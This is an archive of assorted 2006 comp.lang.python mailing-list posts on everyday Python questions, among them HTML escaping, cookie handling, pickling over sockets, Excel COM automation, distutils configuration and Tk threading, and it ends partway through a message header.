References: <1159863862.889561.325340@m73g2000cwd.googlegroups.com>
Message-ID: <1159864051.436175.289210@b28g2000cwb.googlegroups.com>

Correction: I meant __builtin__.getattr method and not the other one I
mentioned.
:-)
Thanks
Raja

Raja Raman Sundararajan skrev:

> Hello guys,
>     I have data stored in the database which has special characters
> like <, > etc.
> Case 1: Whenever I wanted to present the output to a browser
>       I need to escape these special characters into the browser
> equivalent like &lt;  &gt; etc.( for example by using the cgi module)
> Case 2: Whenever I wanted to present the output to some client other
> than a browser, I wanted to present the data as it is stored in the
> database.
>
> For doing this I thought of overriding the __builtin__.__getattr__
> method.
> I am wondering if there is any other way of achieving this. I have
> loads of files that get the attribute values of objects stored in the
> database and I do not want to manually change the way of DB access in
> those files. I rather prefer a centralized way to achieve this.
> 
> Good inputs are always appreciated.
> :-)
> Raja



From ldo at geek-central.gen.new_zealand  Fri Oct  6 06:29:32 2006
From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro)
Date: Fri, 06 Oct 2006 23:29:32 +1300
Subject: Automatic import PEP
References: <mailman.491.1158981359.10491.python-list@python.org>
	<ef5lmn$h1k$3@lust.ihug.co.nz>
	<mailman.540.1159128784.10491.python-list@python.org>
Message-ID: <eg5b4f$29h$1@lust.ihug.co.nz>

In message <mailman.540.1159128784.10491.python-list at python.org>, Robert
Kern wrote:

> Lawrence D'Oliveiro wrote:
>> In message <mailman.491.1158981359.10491.python-list at python.org>,
>> Connelly Barnes wrote:
>> 
>>> The main point of autoimp is to make usage of the interactive Python
>>> prompt more productive by including "from autoimp import *" in the
>>> PYTHONSTARTUP file.
>> 
>> The main problem I have with your idea is that any kind of import
>> statement with wildcards in it automatically starts my bogosity meter
>> flashing its "RED ALERT" sign and clanging all its alarm bells.
> 
> "from ... import *" was *designed* for interactive use, which is exactly
> what Connelly is suggesting. It's not a bad thing in that context.

But there is nothing in the language that constrains its use to that
context, is there?

Clang, clang...


From jjl at pobox.com  Sat Oct 14 10:54:21 2006
From: jjl at pobox.com (John J. Lee)
Date: Sat, 14 Oct 2006 14:54:21 GMT
Subject: How to share session with IE
References: <1160479479.825746.320610@k70g2000cwa.googlegroups.com>
	<1160480177.704013.37770@k70g2000cwa.googlegroups.com>
	<mailman.231.1160501856.11739.python-list@python.org>
	<eghgnf$l1k$1@enyo.uwa.edu.au>
Message-ID: <871wpbrlr6.fsf@pobox.com>

Cameron Walsh <cameron.walsh at gmail.com> writes:
[...]
> Another option instead of making your program run through a series of
> clicks and text inputs, which is difficult to program, is to browse
> the html source until you find the name of the script that processes
> the login, and use python to request the page with the necessary form
> fields encoded in the request.  Request something like
> http://www.targetsite.com/login.cgi?username=pyuser&password="fhqwhgads"
> This format is not guaranteed to work, since the login script or
> server might only support one of GET and POST.  If this is the case,
> creating the request is slightly more involved and to be honest I
> haven't looked into how to do it.

Absolutely, that's often a great way to do things, since it's very
simple, and is not in conflict with handling cookies (where that's
required).

(But of course if you need to handle cookies, you still need to
arrange to actually handle the cookies somewhere.)


> Thereafter, you will have to pass the environment to every page
> request so the server can read the cookie.  Which brings me to
> question whether or not it is possible to do this manually once,
> export the environment variable to a file, and reload this file each
> time the program is run. Or to generate the cookie in the environment
> yourself.
[...]

Standard library module cookielib (or mechanize, which is not part of
the stdlib, and does some more stuff automatically and provides some
extra features for page navigation and form handling) does all this
automatically:

http://docs.python.org/lib/cookielib-examples.html

import cookielib, urllib2
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
r = opener.open("http://example.com/")


For loading and saving (including Firefox support):

http://docs.python.org/lib/file-cookie-jar-classes.html

http://docs.python.org/lib/cookie-jar-objects.html


For loading IE cookies, use mechanize.

http://wwwsearch.sourceforge.net/mechanize/


John


From no at spam.com  Mon Oct 23 09:28:57 2006
From: no at spam.com (Mike Krell)
Date: Mon, 23 Oct 2006 08:28:57 -0500
Subject: Problems trying to override __str__ on path class
References: <Xns98647267B6E82kojaklikescheerios@144.162.164.191>
	<ehggfk$60i$00$1@news.t-online.com>
	<Xns9864C70166F52kojaklikescheerios@144.162.164.191>
	<ehhund$1fi$00$1@news.t-online.com>
Message-ID: <Xns986541F02326kojaklikescheerios@144.162.164.191>

Peter Otten <__peter__ at web.de> wrote in
news:ehhund$1fi$00$1 at news.t-online.com: 

> 
> So my assumption was that you are using a pre-2.1 version of path.
> I suggest that you double-check that by inserting a
> 
> print path.__version__
> 
> into the code showing the odd behaviour before you start looking for
> more exotic causes.

Alas, the print statement says "2.1".  So there's a definite platform / 
environment difference here, but that isn't it.  
 
> For delegation to work you need (untested)
> 
> class NormPath(object):
>    def __div__(self, other):
>        return self.__class__(self._path / other)
>    # ...

I see.  The base class implementation is throwing up its hands at the 
unknown type NormPath.  One needs to substitute the parameter in every 
case where the base class implementation is called.  That kind of kills 
the attractiveness of the technique for new style classes, unless a way 
could be done to do it programatically instead of explicitly for each 
method.  Of course, if I could get the simple override to work, the need 
to do this would disappear.

   Mike   


From steve at holdenweb.com  Sun Oct 22 03:56:54 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sun, 22 Oct 2006 08:56:54 +0100
Subject: A Comparison Of Dynamic and Static Languiges
In-Reply-To: <1161474350.522418.13440@i42g2000cwa.googlegroups.com>
References: <1161455284.563900.320430@m7g2000cwm.googlegroups.com>	<eY$5v#T9GHA.2288@TK2MSFTNGP05.phx.gbl>	<mailman.913.1161469369.11739.python-list@python.org>
	<1161474350.522418.13440@i42g2000cwa.googlegroups.com>
Message-ID: <ehf865$him$1@sea.gmane.org>

sturlamolden wrote:
> Gerrit Holl wrote:
> 
> 
>>This newsgroup is mirrored by a mailing-list, so many people use their real
>>address. The solution to spam is spamfiltering (spambayes), not hiding ones
>>address on the internet.
> 
> 
> The answer to spam here in Norway is incredibly simple. It seems that
> all spam originates in the US or South Korea. The following filter can
> thus be applied:
> 
> 1. Create a white-list of all valid contacts in the US.
> (There is no need to create a white list for Korea, as it will be empty
> anyway.)
> 
> 2. Do a reverse nslookup of the sender on zz.countries.nerd.dk. If the
> return value is 127.0.3.72 or 127.0.1.154, and the sender is not in the
> whitelist, flag the mail as spam.
> 
> 3. Accept all other mail.
> 
> Do you think spambayes can beat this filter?
> 
Since network 127 is reserved in its entirety for loopback (local 
process) use, it would seem that any DNS name that maps to an address in 
that space with the single exception of "localhost" should be treated as 
a spammer.

If you only receive spam from the USA and Korea then consider yourself 
lucky. Your "solution" is simplistic beyond belief. Are you *sure* you 
know in advance all potential senders from the USA? I'm (currently) in 
the UK, but sending via a .com domain that operated through a server in 
the USA. Where am I "from".

I suspect your posting may have been a troll.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From piet at cs.uu.nl  Fri Oct 13 05:34:06 2006
From: piet at cs.uu.nl (Piet van Oostrum)
Date: Fri, 13 Oct 2006 11:34:06 +0200
Subject: operator overloading + - / * = etc...
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>
	<slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu>
	<mailman.32.1160258060.11739.python-list@python.org>
	<slrneig8v2.746.sybrenUSE@schuimige.stuvel.eu>
	<mailman.34.1160260043.11739.python-list@python.org>
	<pan.2006.10.08.01.08.09.501368@REMOVE.THIS.cybersource.com.au>
	<m2wt782j4y.fsf@ordesa.local>
	<mailman.232.1160502497.11739.python-list@python.org>
Message-ID: <m2slhs8sq9.fsf@ordesa.lan>

>>>>> Fredrik Lundh <fredrik at pythonware.com> (FL) wrote:

>FL> Piet van Oostrum wrote:
>>> The official Python documentation (language reference manual) talks a lot
>>> about variables. So it seems silly to say that Python doesn't have
>>> variables.

>FL> the language reference mostly uses the term "variables" when discussing
>FL> local variables and instance variables, and is (usually) careful to talk
>FL> about "names" when talking about binding behaviour.

Mostly yes, but not exclusively. E.g.
  If a name is bound in a block, it is a local variable of that block. If a
  name is bound at the module level, it is a global variable. (The
  variables of the module code block are local and global.) If a variable
  is used in a code block but not defined there, it is a free variable. 

There are also other uses of variable for things at the module level. And
the word `variable(s)' occurs 80 times in the language reference manual.

>FL> for example, the description of the assignment statement:

>FL>   http://www.python.org/doc/2.4.3/ref/assignment.html

>FL> only uses "variable" twice, in a note that discussing a given code
>FL> example. the more formal parts of that page consistently use the term
>FL> "name".

>FL> it's often a good idea to be a bit careful when discussing detailed
>FL> behaviour, especially in contexts where the audience may associate
>FL> variables with "small areas of memory".

It is interesting that the word 'variable' is nowhere defined in the
manual. What one imagines with the word `variable' depends on one's
programming background, I guess, and that could certainly give a wrong
impression. 
-- 
Piet van Oostrum <piet at cs.uu.nl>
URL: http://www.cs.uu.nl/~piet [PGP 8DAE142BE17999C4]
Private email: piet at vanoostrum.org


From antroy at gmail.com  Wed Oct 11 05:10:38 2006
From: antroy at gmail.com (Ant)
Date: 11 Oct 2006 02:10:38 -0700
Subject: Converting MSWord Docs to PDF
In-Reply-To: <mailman.278.1160550152.11739.python-list@python.org>
References: <4524431F@webmail.azwestern.edu>
	<mailman.278.1160550152.11739.python-list@python.org>
Message-ID: <1160557838.143189.117730@c28g2000cwb.googlegroups.com>


Theerasak Photha wrote:
> On 10/11/06, melv at awc.edu <mj23 at toro.azwestern.edu> wrote:
...
> (La)TeX is the king of document processing, and does PDF.

Except that the OP want's to print Word documents as PDF. LaTeX is
good, granted, but just try converting LaTeX documents to Word or vice
versa...

And if you want a good laugh, try telling a manager to write all his
documentation in LaTeX. :-)



From aisaac0 at verizon.net  Wed Oct  4 12:02:56 2006
From: aisaac0 at verizon.net (David Isaac)
Date: Wed, 04 Oct 2006 16:02:56 GMT
Subject: item access time: sets v. lists
Message-ID: <QWQUg.15396$3T2.2982@trnddc06>

Is it expected for access to set elements to be much
slower than access to list elements?  Explanation?
Thanks,
Alan Isaac

>>> t1=timeit.Timer("for i in set(xrange(10000)):pass","")
>>> t2=timeit.Timer("for i in list(xrange(10000)):pass","")
>>> t1.timeit(1000)
9.806250235714316
>>> t2.timeit(1000)
3.9823075279120701




From ralmeida at gmail.com  Wed Oct 18 12:33:12 2006
From: ralmeida at gmail.com (Rob De Almeida)
Date: 18 Oct 2006 09:33:12 -0700
Subject: Dictionaries
References: <1161185067.771030.301480@e3g2000cwe.googlegroups.com>
	<mailman.699.1161186279.11739.python-list@python.org>
	<1161188023.121408.194870@m7g2000cwm.googlegroups.com>
Message-ID: <1161189192.589870.40070@k70g2000cwa.googlegroups.com>

Lad wrote:
> Let's suppose I have
>
>  a={'c':1,'d':2}
>  b={'c':2}
> but
>  a.update(b)
> will make
> {'c': 2, 'd': 2}
>
> and I would need
> {'c': 3, 'd': 2}
>
> (because `c` is 1 in `a` dictionary and `c` is 2 in `b` dictionary, so
> 1+2=3)
>
> How can be done that?

dict([(k, a.get(k, 0) + b.get(k,0)) for k in set(a.keys() + b.keys())])



From robert.kern at gmail.com  Wed Oct 18 12:47:29 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Wed, 18 Oct 2006 11:47:29 -0500
Subject: portable extensions options for external libraries
In-Reply-To: <1161169059.597192.43430@k70g2000cwa.googlegroups.com>
References: <1161169059.597192.43430@k70g2000cwa.googlegroups.com>
Message-ID: <eh5lr2$n2o$1@sea.gmane.org>

Alexandre Guimond wrote:

> so my question is: what is the right way of specifying extensions
> options (include_dirs, libraries, library_dirs) so that they are
> portable between windows and linux? i'm thinking environment variables.

The user can already use command-line options and CFLAGS if he so desires, so I 
wouldn't add any new environment variables.

   $ CFLAGS=-I/opt/local/include python setup.py build_ext -L/opt/local/lib

> Though fairly easy to do, i was wondering if python/distutils provided
> something more convenient, like searching through "common" directories,
> though those aren't very standard on windows?

distutils wouldn't do any searching at all. Your compiler will, though.

> Optimally, i would like
> to have something like:
> 
> imaging = Extension( 'pyag.imaging._imaging',
>                      sources = ( glob.glob(
> 'Source/pyag/imaging/Src/*.cpp' ) +
>                                  glob.glob(
> 'Source/pyag/imaging/Src/*.h' ) ),
>                      include_dirs = ( get_numpy_include_dirs() +
>                                       [ 'Source/pyag/imaging/Src/' ] +
>                                         boost_include_dirs +
>                                         gsl_include_dirs ),
>                      library_dirs = boost_library_dirs +
> gsl_library_dirs,
>                      libraries = boost_libraries + gsl_libraries )

That's pretty much how everyone else does it. Just make sure that 
boost_{include,library}_dirs and gsl_{include,library}_dirs are defined near the 
top of the file with suitable comments to draw attention to them.

However, I might suggest making a setup.cfg with something like the following 
section (unindented):

   # Uncomment and modify the following section to configure the locations of the
   # Boost and GSL headers and libraries.

   #[build_ext]
   #include-dirs=/opt/local/include,/usr/local/include
   #library-dirs=/opt/local/lib,/usr/local/lib

Changing data in a data file feels better to me than changing data in a program 
for some reason.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From erikwickstrom at gmail.com  Tue Oct  3 18:10:03 2006
From: erikwickstrom at gmail.com (erikwickstrom at gmail.com)
Date: 3 Oct 2006 15:10:03 -0700
Subject: Can't get around "IndexError: list index out of range"
Message-ID: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>

Hi all,

I'm sorry about the newbie question, but I've been searching all
afternoon and can't find the answer!

I'm trying to get this bit of code to work without triggering the
IndexError.

import shutil, os, sys

if sys.argv[1] != None:
    ver = sys.argv[1]
else:
    ver = '2.14'

Of course, whenever I run it, I get list index out of range.

I'm coming from the php world where I can do:
if $_GET['var'] != Null {
  $ver = $_GET['var'];
} else {
  $ver = '2.14';
}

Can anyone tell me how to make this work in python?

Thanks!
Erik



From ldo at geek-central.gen.new_zealand  Fri Oct  6 06:33:28 2006
From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro)
Date: Fri, 06 Oct 2006 23:33:28 +1300
Subject: Recursive descent algorithm able to parse Python?
References: <1159471326.663651.110690@h48g2000cwc.googlegroups.com>
	<4o2ugcFcm4npU1@uni-berlin.de> <efhn24$fia$1@lust.ihug.co.nz>
	<4o47o7Fcu386U1@uni-berlin.de>
Message-ID: <eg5bbq$29h$3@lust.ihug.co.nz>

In message <4o47o7Fcu386U1 at uni-berlin.de>, Diez B. Roggisch wrote:

> I have to admit that I have difficulties to compare LR(k) to recursive
> descent, but the fact that the latter contains backtracking makes it at
> least more powerful than LL(k)

LR(k) is more powerful than LL(k).


From fredrik at pythonware.com  Wed Oct 18 09:42:13 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 18 Oct 2006 15:42:13 +0200
Subject: Image.draft -- what are the modes that I can use?
References: <1161178409.276973.286990@k70g2000cwa.googlegroups.com>
Message-ID: <eh5avl$20f$1@sea.gmane.org>

"abcd" wrote:

>I have PIL 1.1.5 on python 2.4.1 and I am attempting to get a smaller
> (file size) of an image.
>
> for example:
> im = ImageGrab.grab()
>
> im.save("tmp.gif")    ---- about 1.7mb
> im.save("tmp.jpeg")  ---- about 290kb
>
> anyways I want to save the image as a GIF, but not have it be so
> large....so I thought that the Image.draft method would be what I
> wanted....

GIF is horribly unsuitable for screenshots on modern machines.  have you
considered using PNG ?

or even better, Flash?

here's a tool that lets you use VNC to capture the screen, and then convert
the result to a flash animation:

    http://www.unixuser.org/~euske/vnc2swf/

> im.draft(mode, size)
>
> Configures the image file loader so it returns a version of the image
> that as closely as possible matches the given mode and size. For
> example, you can use this method to convert a colour JPEG to greyscale
> while loading it, or to extract a 128x192 version from a PCD file.

note the use of the words "loader" and "loading".  draft is used to speed things
up when loading images, not compress things when storing them.

</F> 





From wescpy at gmail.com  Wed Oct 11 15:07:20 2006
From: wescpy at gmail.com (wesley chun)
Date: Wed, 11 Oct 2006 12:07:20 -0700
Subject: Adding Worksheets to an Excel Workbook
Message-ID: <78b3a9580610111207h75f521b4h318f3117a6fa9ab6@mail.gmail.com>

> From: e.h.doxtator at accenture.com
> Date: Tues, Oct 10 2006 2:08 pm
>
> I'm a Python newbie, and I'm just getting to the wonders of COM
> programming.


welcome to Python!!  i too, have (recently) been interested in COM
programming, so much so that i added some material on Microsoft Office
(Win32 COM Client) Programming to the 2nd ed of my book, "Core Python
Programming" (see link below).  it's only introductory material, but i
think you may find it useful as i have, and shows you how to create
simple applications for Excel, Word, PowerPoint, and Outlook.

in addition to greg's code snippet, here's a snippet based on one from
the book (the code is under a CC license) -- it doesn't add a new
sheet, but does let you grab the "active" one (the one that is tabbed
and facing the user):

# based on excel.pyw in Core Python Programming, 2nd ed

from time import sleep
import win32com.client as win32

def excel():
    xl = win32.gencache.EnsureDispatch('Excel.Application')
    ss = xl.Workbooks.Add() # add a new spreadsheet/workbook
    sh = ss.ActiveSheet  # grab the active sheet of the workbook
    xl.Visible = True        # make Excel show up on the desktop
    sleep(1)

    sh.Cells(1,1).Value = 'Python-to-Excel Demo'
    sleep(1)
    for i in range(3, 8):
        sh.Cells(i,1).Value = 'Line %d' % i
        sleep(1)
    sh.Cells(i+2,1).Value = "Th-th-th-that's all folks!"

    sleep(5)
    ss.Close(False) # close the workbook and don't save
    xl.Application.Quit() # quit Excel

if __name__=='__main__':
    excel()

hope this helps!
-wesley
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
"Core Python Programming", Prentice Hall, (c)2007,2001
    http://corepython.com

wesley.j.chun :: wescpy-at-gmail.com
python training and technical consulting
cyberweb.consulting : silicon valley, ca
http://cyberwebconsulting.com


From fredrik at pythonware.com  Sun Oct  8 14:58:38 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 08 Oct 2006 20:58:38 +0200
Subject: print time comparison: IDLE versus terminal on ultra 20
In-Reply-To: <1160332865.902895.315470@e3g2000cwe.googlegroups.com>
References: <1160332865.902895.315470@e3g2000cwe.googlegroups.com>
Message-ID: <egbhou$qlg$1@sea.gmane.org>

sam wrote:

> in IDLE:
> 4.433 seconds

IDLE is designed for tinkering, not fast handling of non-trivial amounts 
  of output (it runs your program in a separate process and pipes data 
to the interactive window over the network.  and the interactive seems 
to be redrawing the display for every line that arrives...)

but on the other hand, IDLE runs your sample script in less than 0.5 
seconds on my cheap Windows box.  complain to Sun ;-)

</F>



From martin at v.loewis.de  Sun Oct  8 16:59:14 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 08 Oct 2006 22:59:14 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <1160172267.566568.79030@m7g2000cwm.googlegroups.com>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<YzoVg.137036$zy5.1843214@twister1.libero.it>
	<mailman.1477.1160171746.10491.python-list@python.org>
	<1160172267.566568.79030@m7g2000cwm.googlegroups.com>
Message-ID: <452966A2.1090107@v.loewis.de>

Paul Boddie schrieb:
>> When SF is down, people sometimes send tracker items to
>> the pydev list instead, when means someone else (who?) has to put in the
>> tracker or it gets lost.
> 
> According to Harald Armin Massa's PostgreSQL talk at EuroPython, the
> PostgreSQL people manage all their bugs via mailing lists. Given that
> trends in revision control point towards completely decentralised
> solutions, I wonder whether there's anything to learn from less
> centralised (or more flexible) approaches to bug management.

>From my experience with GCC, I can only report that this is definitely
not working. There used to be a mailing list bugs at gcc.gnu.org, and
reports got either answered immediately, or not at all. People who
thought they were responsible put the mails in some folder, and then
never found the time to come back. This is why I set up a bug tracker
for GCC.

Regards,
Martin


From davidh at ilm.com  Fri Oct 13 13:58:09 2006
From: davidh at ilm.com (David Hirschfield)
Date: Fri, 13 Oct 2006 10:58:09 -0700
Subject: Sending binary pickled data through TCP
In-Reply-To: <egmvtl$b0b$1@sea.gmane.org>
References: <452EEEF1.6030606@ilm.com> <egmvtl$b0b$1@sea.gmane.org>
Message-ID: <452FD3B1.9060306@ilm.com>

Thanks for the great response.

Yeah, by "safe" I mean that it's all happening on an intranet with no 
chance of malicious individuals getting access to the stream of data.

The chunks are arbitrary collections of python objects. I'm wrapping 
them up a little, but I don't know much about the actual formal makeup 
of the data, other than it pickles successfully.

Are there any existing python modules that do the equivalent of pickling 
on arbitrary python data, but do it a lot faster? I wasn't aware of any 
that are as easy to use as pickle, or don't require implementing them 
myself, which is not something I have time for.

Thanks again,
-Dave

Steve Holden wrote:
> David Hirschfield wrote:
>   
>> I have a pair of programs which trade python data back and forth by 
>> pickling up lists of objects on one side (using 
>> pickle.HIGHEST_PROTOCOL), and sending that data over a TCP socket 
>> connection to the receiver, who unpickles the data and uses it.
>>
>> So far this has been working fine, but I now need a way of separating 
>> multiple chunks of pickled binary data in the stream being sent back and 
>> forth.
>>
>> Questions:
>>
>> Is it safe to do what I'm doing? I didn't think there was anything 
>> fundamentally wrong with sending binary pickled data, especially in the 
>> closed, safe environment these programs operate under...but maybe I'm 
>> making a poor assumption?
>>
>>     
> If there's no chance of malevolent attackers modifying the data stream 
> then you can safely ignore the otherwise dire consequences of unpickling 
> arbitrary chunks of data.
>
>   
>> I was going to separate the chunks of pickled data with some well-formed 
>> string, but couldn't that string potentially randomly appear in the 
>> pickled data? Do I just pick an extremely 
>> unlikely-to-be-randomly-generated string as the separator? Is there some 
>> string that will definitely NEVER show up in pickled binary data?
>>
>>     
> I presumed each chunk was of a know structure. Couldn't you just lead of 
> with a pickled integer saying how many chunks follow?
>
>   
>> I thought about base64 encoding the data, and then decoding on the 
>> opposite side (like what xmlrpclib does), but that turns out to be a 
>> very expensive operation, which I want to avoid, speed is of the essence 
>> in this situation.
>>
>>     
> Yes, base64 stuffs three bytes into four (six bits per byte) giving you 
> a 33% overhead. Having said that, pickle isn't all that efficient a 
> representation because it's designed to be portable. If you are using 
> machines of the same type there are almost certainly faster binary 
> encodings.
>
>   
>> Is there a reliable way to determine the byte count of some pickled 
>> binary data? Can I rely on len(<pickled data>) == bytes?
>>
>>     
> Yes, since pickle returns a string of bytes, not a Unicode object.
>
> If bandwidth really is becoming a limitation you might want to consider 
> uses of the struct module to represent things more compactly (but this 
> may be too difficult if the objects being exchanged are at all complex).
>
> regards
>   Steve
>   

-- 
Presenting:
mediocre nebula.

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From sturlamolden at yahoo.no  Mon Oct 23 20:51:43 2006
From: sturlamolden at yahoo.no (sturlamolden)
Date: 23 Oct 2006 17:51:43 -0700
Subject: using mmap on large (> 2 Gig) files
In-Reply-To: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
Message-ID: <1161651103.875210.170140@i42g2000cwa.googlegroups.com>


myeates at jpl.nasa.gov wrote:
> Hi
> Anyone ever done this? It looks like Python2.4 won't take a length arg
> > 2 Gig since its not seen as an int.

Looking at Python's source (mmapmodule.c), it seems that "mmap.mmap"
always sets the offset argument in Windows MapViewOfFile and UNIX to 0.
This means that it is always mapping from the beginning of the file.
Thus, Python's mmap module is useless for large files. This is really
bad coding. The one that wrote mmapmodule.c didn't consider the
posibility that a 64 bit file system like NTFS can harbour files to
large to fit in a 32 address space. Thus,
mmapmodule.c needs to be fixed before it can be used for large files.



From fredrik at pythonware.com  Wed Oct 18 07:24:23 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 18 Oct 2006 13:24:23 +0200
Subject: making a valid file name...
References: <1161102165.272182.207990@m73g2000cwd.googlegroups.com>
	<D4F9316ACC9D20489CC81D19B8A87D5B03CDAC96@UKEX01.Digica.local>
Message-ID: <eh52t7$ubr$1@sea.gmane.org>

Matthew Warren wrote:

>>> import re
>>> badfilename='?"%^"?^"?$^ihgeroighroeig3645^?$^"knovin98u4#346#1461461'
>>> valid=':./,^0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ '
>>> goodfilename=re.sub('[^'+valid+']',' ',badfilename)

to create arbitrary character sets, it's usually best to run the character string through
re.escape() before passing it to the RE engine.

</F> 





From http  Wed Oct 11 16:53:53 2006
From: http (Paul Rubin)
Date: 11 Oct 2006 13:53:53 -0700
Subject: Standard Forth versus Python: a case study
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
Message-ID: <7x3b9u376m.fsf@ruckus.brouhaha.com>

John Doty <jpd at whispertel.LoseTheH.net> writes:
> I have a bunch of image files in FITS format. For each raster row in
> each file, I need to determine the median pixel value and subtract it
> from all of the pixels in that row, and then write out the results as
> new FITS files.

I dunno what FITS is, but if you have a list of pixel values, that
calculation sounds like two lines:

   median = sorted(pixels)[len(pixels)//2]
   new_pixels = [p-median for p in pixels]


From paddy3118 at netscape.net  Wed Oct 18 23:53:53 2006
From: paddy3118 at netscape.net (Paddy)
Date: 18 Oct 2006 20:53:53 -0700
Subject: How to use python in TestMaker
In-Reply-To: <1161225253.111034.4730@f16g2000cwb.googlegroups.com>
References: <1161225253.111034.4730@f16g2000cwb.googlegroups.com>
Message-ID: <1161230033.664197.305060@b28g2000cwb.googlegroups.com>


kelin,zzf818 at gmail.com wrote:
> Hello,
>
> Now I 'm learning python to do testing jobs, and want to use it in
> TestMaker.
> The problem is: I don't know how to use python in TestMaker.
> Just write python program in it or call .py files in it?
> I am really new about it and need some help.
> 
> Thanks a lot!
What/where is TestMaker?



From eric_brunel at despammed.com  Tue Oct  3 03:39:09 2006
From: eric_brunel at despammed.com (Eric Brunel)
Date: Tue, 03 Oct 2006 09:39:09 +0200
Subject: VIdeo Converence Software: Tk and thread synchronization
References: <mailman.1087.1159792937.10491.python-list@python.org>
Message-ID: <op.tgt4vj08rqur0o@eb.pragmadev>

On Mon, 02 Oct 2006 14:42:15 +0200, Paolo Pantaleo  
<paolopantaleo at gmail.com> wrote:
> Hi,
>
> I am going on writing my video conference software. I wrote the video
> grab, code/decode, and netwoark (multicast) transport.
>
> I have one thread doing this:
>
> [thread 1]
> while True:
>   for some times:
>     my_socket.recv() #blocking here
>     store data
>   compute image #here we have a complete new image to display
>
> Now, I was thinking to display the image in a  Tk window. But I think
> i will need a separate thread to run the mainloop() [thread 2], right?

I don't know if tk likes to be run in anything else than the main thread;  
never tested it. If you can use the main thread for tk, you'll probably  
have far less problems.

>  How can I signale to the Tk thread that a new image is ready to be
> shown? I was thinkin on using an event generated for the first
> (network) thread. But I don't know how to do it exactly. Any
> suggestion, please?

Quite simple: in the tk thread, do:

widget.bind('<<MyEvent>>', command)

Then in the secondary thread, do:

widget.event_generate('<<MyEvent>>', when='tail')

'<<MyEvent>>' can be anything, as long as you surround it with << & >>  
(these are custom events in tk). Don't forget to put the when='tail' in  
the event_generate call, or your binding may get called immediatly in the  
current thread.

> What if I access to Tk object form thread 1, is Tk thread safe?

General answer: no, it isn't. The only thing that seems to work everytime  
on tk widgets from secondary threads is generating events as above. If you  
try to do anything else, you may experience deadlocks or even crashes.

HTH
-- 
python -c "print ''.join([chr(154 - ord(c)) for c in  
'U(17zX(%,5.zmz5(17l8(%,5.Z*(93-965$l7+-'])"


From no at spam.com  Fri Oct 27 18:56:51 2006
From: no at spam.com (Farshid Lashkari)
Date: Fri, 27 Oct 2006 15:56:51 -0700
Subject: What is the cleanest way to for a module to access objects from
	the script that imports it?
In-Reply-To: <1161989298.748298.143190@e3g2000cwe.googlegroups.com>
References: <1161986024.956989.218370@i42g2000cwa.googlegroups.com>
	<mailman.1378.1161988147.11739.python-list@python.org>
	<1161989298.748298.143190@e3g2000cwe.googlegroups.com>
Message-ID: <B5w0h.22$SI6.17@newsfe13.phx>

noamsml at gmail.com wrote:
> Wouldn't importing and re-importing the same modules cause considerable
> resource bulk? Or does python cache that stuff?

If a module is already imported, then the import statement just uses the 
cached module. However, you can force a full reload of the module using 
the following syntax:

reload(mymodule)

-Farshid


From hanumizzle at gmail.com  Fri Oct  6 23:02:44 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 23:02:44 -0400
Subject: [Linux] Detect a key press
In-Reply-To: <eg5ero$mma$1@sea.gmane.org>
References: <1160109947.304308.83910@i3g2000cwc.googlegroups.com>
	<eg5ero$mma$1@sea.gmane.org>
Message-ID: <463ff4860610062002i53ad6d0en9e8ac215803ea813@mail.gmail.com>

On 10/6/06, Sergei Organov <osv at javad.com> wrote:

> Try
>
>   print "->%s\r" % ch
>
> or just
>
>   sys.stdout.write(ch)

Ah!


From fredrik at pythonware.com  Sat Oct 28 03:28:06 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sat, 28 Oct 2006 09:28:06 +0200
Subject: Restricting import file lookup for pyd, dll, ...
In-Reply-To: <eht0j1$rt3$1@wake.carmen.se>
References: <61d0e2b40610191438w9ba0693y8896bebc3441069a@mail.gmail.com>	<7.0.1.0.0.20061019184812.05aafe78@yahoo.com.ar>	<mailman.798.1161308326.11739.python-list@python.org>
	<eht0j1$rt3$1@wake.carmen.se>
Message-ID: <ehv0q5$66t$1@sea.gmane.org>

Magnus Lycka wrote:

>> That's because I'm using Python through another application, via the
>> pywin32 extensions. When that other application starts, it performs
>> several thousands of file requests (we're talking 4,500, roughly) in
>> the Python installation, locations where there are Python files, and
>> in some other locations that don't make sense. This adds considerable
>> time to the startup time of the application, we're talking between 2
>> and 9 seconds.
> 
> Sounds like a broken (networked?) file system. The only time I've
> had that kind of problems with python startup is when I've had really
> slow anti-virus programs that scanned all the files I opened. But then
> it wasn't file requests that mattered, but actually opening them...
> It still wasn't anywhere near 9 seconds though...

if anyone finds out more about this issue, feel free to add a note to 
this FAQ entry:

http://www.effbot.org/pyfaq/why-does-python-sometimes-take-so-long-to-start.htm

</F>



From steve at holdenweb.com  Sat Oct  7 03:29:40 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sat, 07 Oct 2006 08:29:40 +0100
Subject: How to execute a python script in .NET application
In-Reply-To: <1160175618.029261.43440@i3g2000cwc.googlegroups.com>
